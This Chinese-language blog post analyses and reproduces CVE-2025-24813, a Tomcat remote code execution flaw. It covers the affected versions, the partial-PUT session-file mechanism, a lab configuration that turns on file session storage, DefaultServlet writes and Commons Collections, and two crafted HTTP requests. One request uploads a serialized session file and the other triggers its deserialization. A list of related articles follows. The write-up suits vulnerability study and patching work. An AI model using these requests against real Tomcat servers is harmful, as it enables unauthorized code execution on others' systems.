CVE-2025-24813 Tomcat 最新 RCE 分析复现

漏洞概况

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。

该漏洞利用条件较为复杂,需同时满足以下四个条件:

  1. 应用程序启用了DefaultServlet写入功能,该功能默认关闭
  2. 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  3. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
  4. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

参考文章:Top18漏洞知识库-SRC技巧库、漏洞库、工具库

漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

漏洞原理分析

Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT

该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/会被转换为.。例如:访问/xxxxx/session会被解析为.xxxxx.session

因此整个漏洞的利用过程为:

  1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
  2. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
  3. 通过设置JSESSIONID=.xxxxx来触发漏洞

环境配置

在conf/context.xml中,添加如下配置,开启File文件会话存储

复制代码
<Context\>  
<Manager className\="org.apache.catalina.session.PersistentManager"\>  
    <Store className\="org.apache.catalina.session.FileStore"/>  
</Manager\>  
</Context\>

在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能

复制代码
<servlet\>  
    <servlet-name\>default</servlet-name\>  
    <servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\>  
    <init-param\>  
        <param-name\>debug</param-name\>  
        <param-value\>0</param-value\>  
    </init-param\>  
    <init-param\>  
        <param-name\>readonly</param-name\>  
        <param-value\>false</param-value\>  
    </init-param\>  
    <load-on-startup\>1</load-on-startup\>  
</servlet\>

将Commons Collections 3.2.1.jar放入lib文件夹

漏洞复现

生成一个恶意的序列化文件,使用以下数据包上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。

复制代码
PUT /xxxxx/session HTTP/1.1  
Host: 192.168.131.32:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{反序列化文件内容)}}

使用以下PoC触发

复制代码
GET / HTTP/1.1  
Host: 192.168.131.32:8080  
Cookie: JSESSIONID=.xxxxx

修复方案

Apache基金会官方已发布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

相关推荐
码匠许师傅9 小时前
【C++ 面试真题】聊聊 C++ 的虚函数和多态
java·c++·面试
7177779 小时前
如何搭建信创研发交付体系?Gitee DevOps 国产化适配、安全与流水线能力解析
安全·gitee·devops
chuan.bai9 小时前
Java RAG 实战(第 8 篇):Spring Boot RAG 查询 API
java·spring boot·贪心算法
FlyWIHTSKY9 小时前
idea中集成claude功能
java·ide·人工智能·intellij-idea·cloudera
Java成神之路-10 小时前
Spring AI 统一结构化返回:ChatModel / ChatClient 两种实现方式
java·springaialibaba
Mr. zhihao10 小时前
深度解析:为什么Java序列化需要搭配ByteArrayOutputStream?IO装饰器模式的精妙设计
java·开发语言·装饰器模式
存在morning10 小时前
【Python 开发实践 一】Python vs Go vs Java 三门语言对比
java·python·golang
vx-程序开发10 小时前
springboot旅游推介平台---附源码24175
java·spring boot·python·spring cloud·eclipse·django·idea
Atomic1213810 小时前
Apache Shiro 核心漏洞与实战利用指南
web安全·网络安全·渗透测试
小新讲网安10 小时前
HTTP请求走私攻击实战:CL.TE与TE.CL绕过前端服务器全解析
服务器·前端·网络·web安全·http·架构·漏洞